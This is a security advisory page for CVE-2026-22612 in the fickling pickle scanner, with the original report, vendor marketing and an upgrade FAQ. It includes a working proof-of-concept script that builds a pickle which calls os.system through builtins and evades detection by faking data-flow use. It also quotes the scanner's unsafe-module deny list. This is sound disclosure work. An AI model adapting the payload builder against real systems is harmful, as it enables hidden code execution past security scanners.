Summary
Fickling vulnerable to detection bypass due to "builtins" blindness
#Fickling's assessment
Fickling started emitting AST nodes for builtins imports in order to match them during analysis (https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf).
Original report
Fickling works by
Pickle bytecode --> AST --> Security analysis
However while going from bytecode to AST, some import nodes are removed which blinds the security analysis
fickling/fickling/fickle.py
def run(self, interpreter: Interpreter):
module, attr = self.module, self.attr
if module in ("__builtin__", "__builtins__", "builtins"):
# no need to emit an import for builtins!
pass
else:
alias = ast.alias(attr)
interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
interpreter.stack.append(ast.Name(attr, ast.Load()))
def encode(self) -> bytes:
return f"c{self.module}\n{self.attr}\n".encode()
Here we see that no import nodes are emitted for builtins
However builtins is marked as an unsafe import
fickling/fickling/analysis.py
UNSAFE_MODULES = {
"__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
"__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
"builtins": "This module contains dangerous functions that can execute arbitrary code.",
But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.
This can allow for security bypasses like this
poc.py (script to create payload)
import os
GLOBAL = b'c' # Import module.name
STRING = b'S' # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R' # Call function
PUT = b'p' # Memoize (Variable assignment)
GET = b'g' # Load from memo (Variable usage)
POP = b'0' # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's' # Add key/value to dict
BUILD = b'b' # Update object state (Liveness satisfy)
STOP = b'.' # Finish and return stack top
def generate_raw_payload():
payload = b""
payload += GLOBAL + b"builtins\n__import__\n"
payload += STRING + b"'os'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # _var0 = os module
payload += POP
payload += GLOBAL + b"builtins\ngetattr\n"
payload += GET + b"0\n" # os module
payload += STRING + b"'system'\n"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # _var1 = os.system
payload += POP
payload += GET + b"1\n" # os.system
payload += STRING + b"'whoami'\n" # COMMAND
payload += TUPLE1 + REDUCE
payload += PUT + b"2\n"
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"3\n"
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"2\n"
payload += SETITEM
payload += BUILD
payload += STOP
return payload
if __name__ == "__main__":
data = generate_raw_payload()
with open("raw_bypass.pkl", "wb") as f:
f.write(data)
print("Generated 'raw_bypass.pkl'")
This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.
However now fickling sees the pickle payload as
_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4
As you can see there is no mention of builtins anywhere so it isnt flagged
Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED"
We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state.
By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.
The end result is that the malicious pickle gets classified as LIKELY_SAFE
Fixes:
Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like __import__ while not emitting for stuff like dict()
Impact
Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-22612? CVE-2026-22612 is a high-severity insecure deserialization vulnerability in fickling (pip), affecting versions <= 0.1.6. It is fixed in 0.1.7. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
- Which versions of fickling are affected by CVE-2026-22612? fickling (pip) versions <= 0.1.6 is affected.
- Is there a fix for CVE-2026-22612? Yes. CVE-2026-22612 is fixed in 0.1.7. Upgrade to this version or later.
- Is CVE-2026-22612 exploitable, and should I be worried? Whether CVE-2026-22612 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-22612 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-22612? Upgrade
ficklingto 0.1.7 or later.